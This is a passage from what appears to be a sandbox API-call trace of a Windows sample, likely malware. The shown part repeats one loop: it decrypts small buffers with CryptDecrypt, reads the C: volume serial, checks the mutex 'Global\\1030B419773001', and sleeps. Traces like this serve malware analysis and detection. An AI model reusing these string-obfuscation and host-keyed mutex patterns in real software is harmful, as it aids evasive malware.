pdwDataLen=0x229f6cc | out: pbData=0xca82f8, pdwDataLen=0x229f6cc) returned 1 [0034.028] CryptDestroyKey (hKey=0x582a70) returned 1 [0034.028] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca8320 [0034.028] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca8348 [0034.028] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xcaa668 [0034.028] CryptImportKey (in: hProv=0x574d50, pbData=0x229f688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f6f0 | out: phKey=0x229f6f0*=0x582a70) returned 1 [0034.028] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f6d8, dwFlags=0x0) returned 1 [0034.028] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcaa668, pdwDataLen=0x229f6a4 | out: pbData=0xcaa668, pdwDataLen=0x229f6a4) returned 1 [0034.028] CryptDestroyKey (hKey=0x582a70) returned 1 [0034.028] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcaa668 | out: hHeap=0xca0000) returned 1 [0034.028] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca8320, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0034.028] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8348 | out: hHeap=0xca0000) returned 1 [0034.028] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0034.028] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x229f758, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x229f758*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0034.028] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8320 | out: hHeap=0xca0000) returned 1 [0034.028] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xca82f8 [0034.028] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f74c | out: phKey=0x229f74c*=0x582a70) returned 1 [0034.028] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f734, dwFlags=0x0) returned 1 [0034.028] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, pdwDataLen=0x229f700 | out: pbData=0xca82f8, pdwDataLen=0x229f700) returned 1 [0034.029] CryptDestroyKey (hKey=0x582a70) returned 1 [0034.029] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x34) returned 0xca8340 [0034.029] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x2c0 [0034.029] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102 [0034.029] CloseHandle (hObject=0x2c0) returned 1 [0034.029] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0034.029] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8340 | out: hHeap=0xca0000) returned 1 [0034.029] Sleep (dwMilliseconds=0x3e8) [0035.059] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca82f8 [0035.059] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f718 | out: phKey=0x229f718*=0x582a70) returned 1 [0035.059] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f700, dwFlags=0x0) returned 1 [0035.059] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, pdwDataLen=0x229f6cc | out: pbData=0xca82f8, pdwDataLen=0x229f6cc) returned 1 [0035.059] CryptDestroyKey (hKey=0x582a70) returned 1 [0035.059] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca8320 [0035.059] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca8348 [0035.059] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xcaabc0 [0035.059] CryptImportKey (in: hProv=0x574d50, pbData=0x229f688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f6f0 | out: phKey=0x229f6f0*=0x582a70) returned 1 [0035.059] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f6d8, dwFlags=0x0) returned 1 [0035.059] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcaabc0, pdwDataLen=0x229f6a4 | out: pbData=0xcaabc0, pdwDataLen=0x229f6a4) returned 1 [0035.059] CryptDestroyKey (hKey=0x582a70) returned 1 [0035.059] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcaabc0 | out: hHeap=0xca0000) returned 1 [0035.059] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca8320, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0035.059] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8348 | out: hHeap=0xca0000) returned 1 [0035.059] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0035.059] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x229f758, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x229f758*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0035.060] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8320 | out: hHeap=0xca0000) returned 1 [0035.060] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xca82f8 [0035.060] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f74c | out: phKey=0x229f74c*=0x582a70) returned 1 [0035.060] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f734, dwFlags=0x0) returned 1 [0035.060] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, pdwDataLen=0x229f700 | out: pbData=0xca82f8, pdwDataLen=0x229f700) returned 1 [0035.060] CryptDestroyKey (hKey=0x582a70) returned 1 [0035.060] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x34) returned 0xca8340 [0035.060] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x2c0 [0035.060] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102 [0035.060] CloseHandle (hObject=0x2c0) returned 1 [0035.060] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0035.060] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8340 | out: hHeap=0xca0000) returned 1 [0035.060] Sleep (dwMilliseconds=0x3e8) [0036.103] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca82f8 [0036.103] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f718 | out: phKey=0x229f718*=0x582a70) returned 1 [0036.103] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f700, dwFlags=0x0) returned 1 [0036.103] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, pdwDataLen=0x229f6cc | out: pbData=0xca82f8, pdwDataLen=0x229f6cc) returned 1 [0036.103] CryptDestroyKey (hKey=0x582a70) returned 1 [0036.103] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca8320 [0036.103] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca8348 [0036.103] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xcaa798 [0036.103] CryptImportKey (in: hProv=0x574d50, pbData=0x229f688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f6f0 | out: phKey=0x229f6f0*=0x582a70) returned 1 [0036.103] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f6d8, dwFlags=0x0) returned 1 [0036.103] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcaa798, pdwDataLen=0x229f6a4 | out: pbData=0xcaa798, pdwDataLen=0x229f6a4) returned 1 [0036.103] CryptDestroyKey (hKey=0x582a70) returned 1 [0036.103] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcaa798 | out: hHeap=0xca0000) returned 1 [0036.103] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca8320, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0036.103] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8348 | out: hHeap=0xca0000) returned 1 [0036.103] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0036.103] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x229f758, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x229f758*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0036.104] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8320 | out: hHeap=0xca0000) returned 1 [0036.104] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xca82f8 [0036.104] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f74c | out: phKey=0x229f74c*=0x582a70) returned 1 [0036.104] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f734, dwFlags=0x0) returned 1 [0036.104] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, pdwDataLen=0x229f700 | out: pbData=0xca82f8, pdwDataLen=0x229f700) returned 1 [0036.104] CryptDestroyKey (hKey=0x582a70) returned 1 [0036.104] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x34) returned 0xca8340 [0036.104] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x2c0 [0036.104] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102 [0036.104] CloseHandle (hObject=0x2c0) returned 1 [0036.104] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0036.104] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8340 | out: hHeap=0xca0000) returned 1 [0036.104] Sleep (dwMilliseconds=0x3e8) [0037.969] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca82f8 [0037.969] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f718 | out: phKey=0x229f718*=0x582a70) returned 1 [0037.969] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f700, dwFlags=0x0) returned 1 [0037.969] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, pdwDataLen=0x229f6cc | out: pbData=0xca82f8, pdwDataLen=0x229f6cc) returned 1 [0037.969] CryptDestroyKey (hKey=0x582a70) returned 1 [0037.969] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca8320 [0037.969] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca8348 [0037.969] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xcaa700 [0037.969] CryptImportKey (in: hProv=0x574d50, pbData=0x229f688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f6f0 | out: phKey=0x229f6f0*=0x582a70) returned 1 [0037.969] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f6d8, dwFlags=0x0) returned 1 [0037.969] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcaa700, pdwDataLen=0x229f6a4 | out: pbData=0xcaa700, pdwDataLen=0x229f6a4) returned 1 [0037.969] CryptDestroyKey (hKey=0x582a70) returned 1 [0037.969] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcaa700 | out: hHeap=0xca0000) returned 1 [0037.969] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca8320, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0037.969] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8348 | out: hHeap=0xca0000) returned 1 [0037.969] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0037.969] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x229f758, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x229f758*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0037.969] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8320 | out: hHeap=0xca0000) returned 1 [0037.969] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xcac700 [0037.969] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f74c | out: phKey=0x229f74c*=0x582a70) returned 1 [0037.969] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f734, dwFlags=0x0) returned 1 [0037.969] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcac700, pdwDataLen=0x229f700 | out: pbData=0xcac700, pdwDataLen=0x229f700) returned 1 [0037.969] CryptDestroyKey (hKey=0x582a70) returned 1 [0037.969] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x34) returned 0xca82f8 [0037.969] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x2c0 [0037.969] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102 [0037.969] CloseHandle (hObject=0x2c0) returned 1 [0037.969] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcac700 | out: hHeap=0xca0000) returned 1 [0037.970] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0037.970] Sleep (dwMilliseconds=0x3e8) [0039.934] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca82f8 [0039.934] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f718 | out: phKey=0x229f718*=0x582a70) returned 1 [0039.934] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f700, dwFlags=0x0) returned 1 [0039.934] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, pdwDataLen=0x229f6cc | out: pbData=0xca82f8, pdwDataLen=0x229f6cc) returned 1 [0039.934] CryptDestroyKey (hKey=0x582a70) returned 1 [0039.934] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca8320 [0039.934] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca8348 [0039.934] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xcaa408 [0039.934] CryptImportKey (in: hProv=0x574d50, pbData=0x229f688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f6f0 | out: phKey=0x229f6f0*=0x582a70) returned 1 [0039.934] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f6d8, dwFlags=0x0) returned 1 [0039.934] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcaa408, pdwDataLen=0x229f6a4 | out: pbData=0xcaa408, pdwDataLen=0x229f6a4) returned 1 [0039.934] CryptDestroyKey (hKey=0x582a70) returned 1 [0039.934] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcaa408 | out: hHeap=0xca0000) returned 1 [0039.934] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca8320, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0039.934] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8348 | out: hHeap=0xca0000) returned 1 [0039.934] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0039.934] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x229f758, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x229f758*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0039.934] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8320 | out: hHeap=0xca0000) returned 1 [0039.935] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xcac430 [0039.935] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f74c | out: phKey=0x229f74c*=0x582a70) returned 1 [0039.935] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f734, dwFlags=0x0) returned 1 [0039.935] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcac430, pdwDataLen=0x229f700 | out: pbData=0xcac430, pdwDataLen=0x229f700) returned 1 [0039.935] CryptDestroyKey (hKey=0x582a70) returned 1 [0039.935] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x34) returned 0xca82f8 [0039.935] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x2c0 [0039.935] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102 [0039.935] CloseHandle (hObject=0x2c0) returned 1 [0039.935] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcac430 | out: hHeap=0xca0000) returned 1 [0039.935] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0039.935] Sleep (dwMilliseconds=0x3e8) [0041.002] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca82f8 [0041.002] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f718 | out: phKey=0x229f718*=0x582a70) returned 1 [0041.002] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f700, dwFlags=0x0) returned 1 [0041.002] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, pdwDataLen=0x229f6cc | out: pbData=0xca82f8, pdwDataLen=0x229f6cc) returned 1 [0041.002] CryptDestroyKey (hKey=0x582a70) returned 1 [0041.002] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca8320 [0041.002] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca8348 [0041.002] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xcaaeb8 [0041.002] CryptImportKey (in: hProv=0x574d50, pbData=0x229f688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f6f0 | out: phKey=0x229f6f0*=0x582a70) returned 1 [0041.002] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f6d8, dwFlags=0x0) returned 1 [0041.002] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcaaeb8, pdwDataLen=0x229f6a4 | out: pbData=0xcaaeb8, pdwDataLen=0x229f6a4) returned 1 [0041.002] CryptDestroyKey (hKey=0x582a70) returned 1 [0041.002] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcaaeb8 | out: hHeap=0xca0000) returned 1 [0041.002] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca8320, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0041.002] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8348 | out: hHeap=0xca0000) returned 1 [0041.002] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0041.002] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x229f758, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x229f758*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0041.003] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8320 | out: hHeap=0xca0000) returned 1 [0041.003] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xcac700 [0041.003] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f74c | out: phKey=0x229f74c*=0x582a70) returned 1 [0041.003] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f734, dwFlags=0x0) returned 1 [0041.003] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcac700, pdwDataLen=0x229f700 | out: pbData=0xcac700, pdwDataLen=0x229f700) returned 1 [0041.003] CryptDestroyKey (hKey=0x582a70) returned 1 [0041.003] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x34) returned 0xca82f8 [0041.003] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x2c0 [0041.003] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102 [0041.003] CloseHandle (hObject=0x2c0) returned 1 [0041.003] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcac700 | out: hHeap=0xca0000) returned 1 [0041.003] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0041.003] Sleep (dwMilliseconds=0x3e8) [0042.295] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca82f8 [0042.295] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f718 | out: phKey=0x229f718*=0x582a70) returned 1 [0042.295] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f700, dwFlags=0x0) returned 1 [0042.295] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, pdwDataLen=0x229f6cc | out: pbData=0xca82f8, pdwDataLen=0x229f6cc) returned 1 [0042.295] CryptDestroyKey (hKey=0x582a70) returned 1 [0042.295] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca8320 [0042.295] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca8348 [0042.295] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xcaad88 [0042.295] CryptImportKey (in: hProv=0x574d50, pbData=0x229f688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f6f0 | out: phKey=0x229f6f0*=0x582a70) returned 1 [0042.295] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f6d8, dwFlags=0x0) returned 1 [0042.295] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcaad88, pdwDataLen=0x229f6a4 | out: pbData=0xcaad88, pdwDataLen=0x229f6a4) returned 1 [0042.295] CryptDestroyKey (hKey=0x582a70) returned 1 [0042.295] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcaad88 | out: hHeap=0xca0000) returned 1 [0042.295] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca8320, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0042.295] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8348 | out: hHeap=0xca0000) returned 1 [0042.295] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0042.295] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x229f758, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x229f758*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0043.002] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8320 | out: hHeap=0xca0000) returned 1 [0043.002] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xcac5e0 [0043.002] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f74c | out: phKey=0x229f74c*=0x582a70) returned 1 [0043.002] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f734, dwFlags=0x0) returned 1 [0043.002] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcac5e0, pdwDataLen=0x229f700 | out: pbData=0xcac5e0, pdwDataLen=0x229f700) returned 1 [0043.002] CryptDestroyKey (hKey=0x582a70) returned 1 [0043.002] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x34) returned 0xca82f8 [0043.002] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x2c0 [0043.002] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102 [0043.002] CloseHandle (hObject=0x2c0) returned 1 [0043.003] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcac5e0 | out: hHeap=0xca0000) returned 1 [0043.003] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0043.003] Sleep (dwMilliseconds=0x3e8) [0044.106] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca82f8 [0044.106] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f718 | out: phKey=0x229f718*=0x582a70) returned 1 [0044.106] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f700, dwFlags=0x0) returned 1 [0044.106] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, pdwDataLen=0x229f6cc | out: 